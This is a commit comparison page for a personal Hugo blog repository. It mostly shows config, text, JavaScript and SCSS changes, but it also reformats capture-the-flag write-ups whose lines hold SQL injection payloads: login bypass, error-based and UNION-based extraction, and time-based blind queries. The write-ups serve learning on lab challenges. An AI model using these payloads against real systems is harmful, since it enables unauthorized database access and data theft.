mirror of
https://github.com/maikka39/Personal-Website.git
synced 2026-11-09 21:26:59 +00:00
Compare commits
14
Commits
631eb1219a
..
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9da5c9936a | ||
|
|
ba1077b0c8 | ||
|
|
7997a5b895 | ||
|
|
6756fb5af6 | ||
|
|
3e078bf55f | ||
|
|
fab68f78fb | ||
|
|
af3694f0ef | ||
|
|
46c6f9037e | ||
|
|
31a552963f | ||
|
|
a2dc744551 | ||
|
|
868c11507c | ||
|
|
6fa9f7b09f | ||
|
|
cc261d6aaa | ||
|
|
5487b22a4f |
Binary file not shown.
|
After Width: | Height: | Size: 2.6 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.4 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 66 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 316 KiB |
@@ -40,6 +40,12 @@ page = ["HTML", "RSS"]
|
|||||||
[pagination]
|
[pagination]
|
||||||
pagerSize = 12
|
pagerSize = 12
|
||||||
|
|
||||||
|
[markup]
|
||||||
|
[markup.tableOfContents]
|
||||||
|
endLevel = 4
|
||||||
|
ordered = true
|
||||||
|
startLevel = 2
|
||||||
|
|
||||||
[params]
|
[params]
|
||||||
dateform = "Jan 2, 2006"
|
dateform = "Jan 2, 2006"
|
||||||
dateformShort = "Jan 2"
|
dateformShort = "Jan 2"
|
||||||
@@ -49,7 +55,7 @@ dateformMonth = "Jan, 2006"
|
|||||||
|
|
||||||
# Metadata mostly used in document's head
|
# Metadata mostly used in document's head
|
||||||
description = "Hey there, my name is Maik de Kruif, I create websites, bots and other kinds of software. At the moment, I'm still studying computer science at Avans University of Applied Sciences. I am also a big fan of open-source software, which is why you'll find many of my projects on Github. And last but not least, I love playing around with cyber-security related stuff."
|
description = "Hey there, my name is Maik de Kruif, I create websites, bots and other kinds of software. At the moment, I'm still studying computer science at Avans University of Applied Sciences. I am also a big fan of open-source software, which is why you'll find many of my projects on Github. And last but not least, I love playing around with cyber-security related stuff."
|
||||||
keywords = "Devloper, Software Engineer, Software Developer, Maik, Computer Science, Portfolio, Blog, Maik de Kruif"
|
keywords = "Developer, Software Engineer, Software Developer, Maik, Computer Science, Portfolio, Blog, Maik de Kruif"
|
||||||
images = [""]
|
images = [""]
|
||||||
|
|
||||||
genre = "Blog"
|
genre = "Blog"
|
||||||
@@ -58,7 +64,7 @@ rssLimit = 15
|
|||||||
|
|
||||||
showReadingTimeInList = false
|
showReadingTimeInList = false
|
||||||
|
|
||||||
homeSubtitle = "Software Engineering, Linux and Cyber Security"
|
homeSubtitle = "Software Engineer and Cyber Security Specialist"
|
||||||
|
|
||||||
# Prefix of link to the git commit detail page. GitInfo must be enabled.
|
# Prefix of link to the git commit detail page. GitInfo must be enabled.
|
||||||
gitUrl = "https://github.com/maikka39/Personal-Website/commit/"
|
gitUrl = "https://github.com/maikka39/Personal-Website/commit/"
|
||||||
@@ -125,9 +131,9 @@ image = "/img/home/portrait.png"
|
|||||||
twitter = "@maik_dev"
|
twitter = "@maik_dev"
|
||||||
|
|
||||||
# Wallets
|
# Wallets
|
||||||
[[params.wallets]]
|
# [[params.wallets]]
|
||||||
name = "XMR"
|
# name = "XMR"
|
||||||
address = "83cfsXGHPaW81hKJtAPYZEgbfFqANMTXXRwghsBpjf5oTDRV3BnCC4jFno8tLTnF4C6gJzGjPEmpvjntXaiGBB7kVitkDKi"
|
# address = "83cfsXGHPaW81hKJtAPYZEgbfFqANMTXXRwghsBpjf5oTDRV3BnCC4jFno8tLTnF4C6gJzGjPEmpvjntXaiGBB7kVitkDKi"
|
||||||
|
|
||||||
# Social icons
|
# Social icons
|
||||||
[[params.social]]
|
[[params.social]]
|
||||||
|
|||||||
+3
-6
@@ -2,7 +2,7 @@
|
|||||||
author = "Maik de Kruif"
|
author = "Maik de Kruif"
|
||||||
title = "About"
|
title = "About"
|
||||||
date = 2021-11-19T12:26:01+01:00
|
date = 2021-11-19T12:26:01+01:00
|
||||||
description = "Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it."
|
description = "I’m a passionate coder with a strong foundation in programming. With a love for solving practical problems through software development, I am driven to continuously explore new ways to create innovative solutions. My personal side-projects and exploration of cybersecurity further enhance my skills and dedication to building powerful and impactful applications."
|
||||||
images = []
|
images = []
|
||||||
tags = [
|
tags = [
|
||||||
"aboutme",
|
"aboutme",
|
||||||
@@ -10,12 +10,9 @@ tags = [
|
|||||||
categories = [
|
categories = [
|
||||||
"me",
|
"me",
|
||||||
]
|
]
|
||||||
|
toc = false
|
||||||
+++
|
+++
|
||||||
|
|
||||||
Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it.
|
Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it.
|
||||||
|
|
||||||
Outside of my job, I run a small business with a couple of friends where we develop drone shows. I'm responsible for both designing and writing the control software as well as creating and designing the actual drones.
|
When I get home after work, I tend to either continue writing code for some personal side-projects, or play around with cyber-security related stuff. Occasionally, I can also be found working on electronics projects. This is what keeps me up at night, a never-ending thirst to create beautiful, powerful things and share them with the world.
|
||||||
|
|
||||||
When I get home after work/school, I tend to either continue writing code for some personal side-projects, or play around with cyber-security related stuff. This is what keeps me up at night, a never-ending thirst to create beautiful, powerful things and share them with the world.
|
|
||||||
|
|
||||||
Skills/Interests: Python, Java, Scala, JavaScript, Node, CSS, HTML, Git, SQL, MongoDB, Apache, Nginx, Docker.
|
|
||||||
|
|||||||
@@ -49,7 +49,9 @@ $(function () {
|
|||||||
socket.on("chat message", function (msg) {
|
socket.on("chat message", function (msg) {
|
||||||
console.log(msg.command);
|
console.log(msg.command);
|
||||||
if (msg.command === "code") {
|
if (msg.command === "code") {
|
||||||
$("#messages").append($("<li>").html("<pre>" + msg.message + "</pre>"));
|
$("#messages").append(
|
||||||
|
$("<li>").html("<pre>" + msg.message + "</pre>")
|
||||||
|
);
|
||||||
} else {
|
} else {
|
||||||
$("#messages").append($("<li>").text(msg.message));
|
$("#messages").append($("<li>").text(msg.message));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -72,7 +72,7 @@ The query becomes invalid as there is an unterminated string. So, how do we turn
|
|||||||
|
|
||||||
## Solution
|
## Solution
|
||||||
|
|
||||||
Firstly, I tried to use `' OR 1=1 -- ` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' -- ` for the username, the password doesn't matter.
|
Firstly, I tried to use `' OR 1=1 --` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' --` for the username, the password doesn't matter.
|
||||||
|
|
||||||
The resulting query would be this:
|
The resulting query would be this:
|
||||||
|
|
||||||
@@ -90,7 +90,7 @@ As [@credmp](https://twitter.com/credmp) correctly pointed out, this only works
|
|||||||
|
|
||||||
### Getting the database
|
### Getting the database
|
||||||
|
|
||||||
As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `. This results into the following query:
|
As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`. This results into the following query:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`=''
|
FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`=''
|
||||||
@@ -167,7 +167,7 @@ We can only get the tables one by one (as I explained above) so we can use the f
|
|||||||
SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1
|
SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1
|
||||||
```
|
```
|
||||||
|
|
||||||
Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
|
Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
|
||||||
|
|
||||||
_Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_
|
_Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_
|
||||||
|
|
||||||
@@ -187,7 +187,7 @@ A sub-query for columns could be the following:
|
|||||||
SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
|
SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
|
||||||
```
|
```
|
||||||
|
|
||||||
Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
|
Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
|
||||||
|
|
||||||
Which gives us (with other `LIMIT` as well):
|
Which gives us (with other `LIMIT` as well):
|
||||||
|
|
||||||
@@ -211,7 +211,7 @@ A simple `SELECT` query for the username would be:
|
|||||||
SELECT username from users limit 0,1
|
SELECT username from users limit 0,1
|
||||||
```
|
```
|
||||||
|
|
||||||
Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
|
Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
|
||||||
|
|
||||||
We get:
|
We get:
|
||||||
|
|
||||||
|
|||||||
@@ -62,7 +62,7 @@ If this were the query, we could use a `UNION SELECT` to add our own query. Let'
|
|||||||
UNION SELECT table_name, 2, 3 FROM information_schema.tables
|
UNION SELECT table_name, 2, 3 FROM information_schema.tables
|
||||||
```
|
```
|
||||||
|
|
||||||
The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- `. This way the query that will be executed becomes this:
|
The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables --`. This way the query that will be executed becomes this:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
|
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
|
||||||
@@ -254,7 +254,7 @@ The flags table at the bottom looks interesting. Let's grab it's contents. To ge
|
|||||||
UNION SELECT (SELECT * FROM flags), 2, 3
|
UNION SELECT (SELECT * FROM flags), 2, 3
|
||||||
```
|
```
|
||||||
|
|
||||||
This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 -- `.
|
This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 --`.
|
||||||
|
|
||||||
After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`.
|
After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`.
|
||||||
|
|
||||||
@@ -272,7 +272,7 @@ Because the `secrets` table a more than one column, we need to know the column n
|
|||||||
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
|
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
|
||||||
```
|
```
|
||||||
|
|
||||||
Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" -- `.
|
Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" --`.
|
||||||
|
|
||||||
After remove the results from the original query, we get the following:
|
After remove the results from the original query, we get the following:
|
||||||
|
|
||||||
@@ -290,7 +290,7 @@ UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets
|
|||||||
|
|
||||||
The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters.
|
The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters.
|
||||||
|
|
||||||
This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets -- ` as the input.
|
This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets --` as the input.
|
||||||
|
|
||||||
After parsing the output we get:
|
After parsing the output we get:
|
||||||
|
|
||||||
|
|||||||
@@ -44,13 +44,13 @@ This time, no error message is shown. But the output is! (I'll get back to that
|
|||||||
SELECT why FROM naughty WHERE why LIKE '%search text%';
|
SELECT why FROM naughty WHERE why LIKE '%search text%';
|
||||||
```
|
```
|
||||||
|
|
||||||
If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 -- ` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 -- `. If this would be inserted inside the query we would get this:
|
If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 --` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 --`. If this would be inserted inside the query we would get this:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %';
|
SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %';
|
||||||
```
|
```
|
||||||
|
|
||||||
If we input this (`' OR 1=1 -- `) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
|
If we input this (`' OR 1=1 --`) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
|
||||||
|
|
||||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8).
|
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8).
|
||||||
|
|
||||||
@@ -102,7 +102,7 @@ Now that we know the table name, we can then get the columns from it with this q
|
|||||||
SELECT column_name FROM information_schema.columns WHERE table_name = "naughty"
|
SELECT column_name FROM information_schema.columns WHERE table_name = "naughty"
|
||||||
```
|
```
|
||||||
|
|
||||||
If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" -- `. This return the following rows:
|
If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" --`. This return the following rows:
|
||||||
|
|
||||||
| Who? |
|
| Who? |
|
||||||
| -------- |
|
| -------- |
|
||||||
@@ -118,7 +118,7 @@ Knowing the table and column names, we can get all rows in the table. This outpu
|
|||||||
SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty
|
SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty
|
||||||
```
|
```
|
||||||
|
|
||||||
Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty -- `, which, after submitting it, gives us one row:
|
Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty --`, which, after submitting it, gives us one row:
|
||||||
|
|
||||||
| Who? |
|
| Who? |
|
||||||
| ------------------------------------------- |
|
| ------------------------------------------- |
|
||||||
@@ -148,7 +148,7 @@ SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) EL
|
|||||||
|
|
||||||
This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run.
|
This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run.
|
||||||
|
|
||||||
This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END -- `
|
This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
|
||||||
|
|
||||||
If we replace `a` with another letter we can find out the database name like this:
|
If we replace `a` with another letter we can find out the database name like this:
|
||||||
|
|
||||||
@@ -177,6 +177,6 @@ To get the tables inside the database, the same method will have to be used. An
|
|||||||
SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
|
SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
|
||||||
```
|
```
|
||||||
|
|
||||||
Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END -- `
|
Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
|
||||||
|
|
||||||
By using this method, we can get the all database records but it will take a long time.
|
By using this method, we can get the all database records but it will take a long time.
|
||||||
|
|||||||
@@ -41,7 +41,7 @@ This is talking about robots, which my be a hint to look at the [`robots.txt`](h
|
|||||||
|
|
||||||
### What is a robots.txt file?
|
### What is a robots.txt file?
|
||||||
|
|
||||||
A `robots.txt` file lives at the root of a website. So, for the site www.example.com, a robots.txt file would live at www.example.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.
|
A `robots.txt` file lives at the root of a website. So, for the site www\.example\.com, a robots.txt file would live at www\.example\.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.
|
||||||
|
|
||||||
### Opening the file
|
### Opening the file
|
||||||
|
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,14 @@
|
|||||||
|
const throttle = (func, timeFrame) => {
|
||||||
|
let lastTime = 0;
|
||||||
|
return () => {
|
||||||
|
let now = new Date();
|
||||||
|
if (now - lastTime >= timeFrame) {
|
||||||
|
func();
|
||||||
|
lastTime = now;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
window.addEventListener("load", () => {
|
window.addEventListener("load", () => {
|
||||||
// Enlarged floating figures
|
// Enlarged floating figures
|
||||||
for (let figure of document.getElementsByTagName("figure")) {
|
for (let figure of document.getElementsByTagName("figure")) {
|
||||||
@@ -51,6 +62,50 @@ window.addEventListener("load", () => {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// set active toc heading
|
||||||
|
const toc = document.getElementById("toc");
|
||||||
|
const tocNav = toc.getElementsByTagName("nav")[0];
|
||||||
|
const headingsForToc = [
|
||||||
|
...document.getElementsByTagName("article"),
|
||||||
|
].flatMap((article) =>
|
||||||
|
[...article.querySelectorAll("h1, h2, h3, h4")]
|
||||||
|
.filter((heading) => heading.offsetParent.tagName === "MAIN")
|
||||||
|
.reverse()
|
||||||
|
);
|
||||||
|
const onTocScroll = () => {
|
||||||
|
for (const heading of headingsForToc) {
|
||||||
|
if (window.scrollY + window.innerHeight / 3 > heading.offsetTop) {
|
||||||
|
const headingAnchor = heading.getElementsByTagName("a")[0];
|
||||||
|
|
||||||
|
for (const tocAnchor of toc.getElementsByTagName("a")) {
|
||||||
|
tocAnchor.classList.remove("current-toc");
|
||||||
|
|
||||||
|
if (tocAnchor.href !== headingAnchor.href) continue;
|
||||||
|
|
||||||
|
tocAnchor.classList.add("current-toc");
|
||||||
|
|
||||||
|
// Scroll toc element into view
|
||||||
|
const tocNavRect = tocNav.getBoundingClientRect();
|
||||||
|
const tocAnchorRect = tocAnchor.getBoundingClientRect();
|
||||||
|
|
||||||
|
const offset =
|
||||||
|
tocAnchorRect.top -
|
||||||
|
tocNavRect.top -
|
||||||
|
tocNav.clientHeight / 2;
|
||||||
|
|
||||||
|
const direction = offset / Math.abs(offset);
|
||||||
|
const limit = (tocNav.clientHeight / 2) * 0.5;
|
||||||
|
|
||||||
|
if (Math.abs(offset) > limit)
|
||||||
|
tocNav.scrollTop += offset - direction * limit;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
window.addEventListener("scroll", throttle(onTocScroll, 50));
|
||||||
|
onTocScroll();
|
||||||
|
|
||||||
// Code copy button
|
// Code copy button
|
||||||
for (let codeblock of document.querySelectorAll(".highlight pre")) {
|
for (let codeblock of document.querySelectorAll(".highlight pre")) {
|
||||||
if (codeblock.querySelector(".lnt")) continue; // skip line numbers
|
if (codeblock.querySelector(".lnt")) continue; // skip line numbers
|
||||||
@@ -70,6 +125,5 @@ window.addEventListener("load", () => {
|
|||||||
|
|
||||||
button.classList.add("current-code");
|
button.classList.add("current-code");
|
||||||
});
|
});
|
||||||
console.log(codeblock);
|
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -31,10 +31,29 @@
|
|||||||
|
|
||||||
margin: 1em;
|
margin: 1em;
|
||||||
|
|
||||||
.highlight {
|
> .highlight {
|
||||||
margin: 0 -1em;
|
margin: 1em -1em;
|
||||||
|
border-radius: 0;
|
||||||
|
|
||||||
|
&:first-child {
|
||||||
|
margin-top: -1em;
|
||||||
border-top-left-radius: 0;
|
border-top-left-radius: 0;
|
||||||
border-top-right-radius: 0;
|
border-top-right-radius: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
&:last-child {
|
||||||
|
margin-bottom: -1em;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
> table {
|
||||||
|
margin: 1em -1em;
|
||||||
|
border-radius: 0;
|
||||||
|
|
||||||
|
&:only-child {
|
||||||
|
background: inherit;
|
||||||
|
padding: 0 10px;
|
||||||
|
}
|
||||||
|
|
||||||
&:first-child {
|
&:first-child {
|
||||||
margin-top: -1em;
|
margin-top: -1em;
|
||||||
@@ -43,6 +62,12 @@
|
|||||||
&:last-child {
|
&:last-child {
|
||||||
margin-bottom: -1em;
|
margin-bottom: -1em;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
td {
|
||||||
|
word-break: normal;
|
||||||
|
overflow-wrap: normal;
|
||||||
|
white-space: pre;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -84,6 +84,16 @@ h4 {
|
|||||||
font-size: 1.125rem;
|
font-size: 1.125rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
h5 {
|
||||||
|
font-size: 1.075rem;
|
||||||
|
margin: 1em 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
h6 {
|
||||||
|
font-size: 1rem;
|
||||||
|
margin: 1em 0;
|
||||||
|
}
|
||||||
|
|
||||||
@media #{$media-size-phone} {
|
@media #{$media-size-phone} {
|
||||||
h1 {
|
h1 {
|
||||||
font-size: 2rem;
|
font-size: 2rem;
|
||||||
@@ -100,6 +110,14 @@ h4 {
|
|||||||
h4 {
|
h4 {
|
||||||
font-size: 1.125rem;
|
font-size: 1.125rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
h5 {
|
||||||
|
font-size: 1.075rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
h6 {
|
||||||
|
font-size: 1rem;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
a {
|
a {
|
||||||
@@ -466,21 +484,20 @@ svg {
|
|||||||
|
|
||||||
table {
|
table {
|
||||||
width: 100%;
|
width: 100%;
|
||||||
padding: 10px 10px 10px 20px;
|
padding: 10px;
|
||||||
border-radius: 8px;
|
border-radius: 8px;
|
||||||
font-size: 0.95rem;
|
font-size: 0.95rem;
|
||||||
overflow: auto;
|
|
||||||
background: $light-background-secondary;
|
background: $light-background-secondary;
|
||||||
|
|
||||||
th {
|
th {
|
||||||
padding: 8px 4px;
|
padding: 8px 8px;
|
||||||
|
|
||||||
word-break: normal;
|
word-break: normal;
|
||||||
overflow-wrap: normal;
|
overflow-wrap: normal;
|
||||||
}
|
}
|
||||||
|
|
||||||
td {
|
td {
|
||||||
padding: 6px 4px;
|
padding: 6px 8px;
|
||||||
|
|
||||||
border-top: 1px solid $light-color-secondary;
|
border-top: 1px solid $light-color-secondary;
|
||||||
}
|
}
|
||||||
@@ -528,13 +545,21 @@ table {
|
|||||||
position: relative;
|
position: relative;
|
||||||
text-decoration: none;
|
text-decoration: none;
|
||||||
|
|
||||||
--link-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-link"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg>');
|
@mixin link-image($color) {
|
||||||
--check-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="green" stroke-width="4" stroke-linecap="round" stroke-linejoin="round" class="feather feather-check"><polyline points="20 6 9 17 4 12"></polyline></svg>');
|
$color: "rgb(" + red($color) + "," + green($color) + "," +
|
||||||
|
blue($color) + ")";
|
||||||
|
|
||||||
--background-image: var(--link-image);
|
--background-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#{$color}" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-link"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg>');
|
||||||
|
}
|
||||||
|
|
||||||
|
@include link-image($light-color);
|
||||||
|
|
||||||
|
.dark-theme & {
|
||||||
|
@include link-image($dark-color);
|
||||||
|
}
|
||||||
|
|
||||||
&.current-heading {
|
&.current-heading {
|
||||||
--background-image: var(--check-image);
|
--background-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="rgb(0, 128, 0)" stroke-width="4" stroke-linecap="round" stroke-linejoin="round" class="feather feather-check"><polyline points="20 6 9 17 4 12"></polyline></svg>');
|
||||||
}
|
}
|
||||||
|
|
||||||
&:hover {
|
&:hover {
|
||||||
@@ -690,3 +715,130 @@ table {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#toc {
|
||||||
|
&.desktop-only {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.toc-title {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
font-weight: bold;
|
||||||
|
font-size: 1.625rem;
|
||||||
|
line-height: 1.3;
|
||||||
|
margin: 0.83em 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ul,
|
||||||
|
ol {
|
||||||
|
li::marker {
|
||||||
|
content: "- ";
|
||||||
|
}
|
||||||
|
}
|
||||||
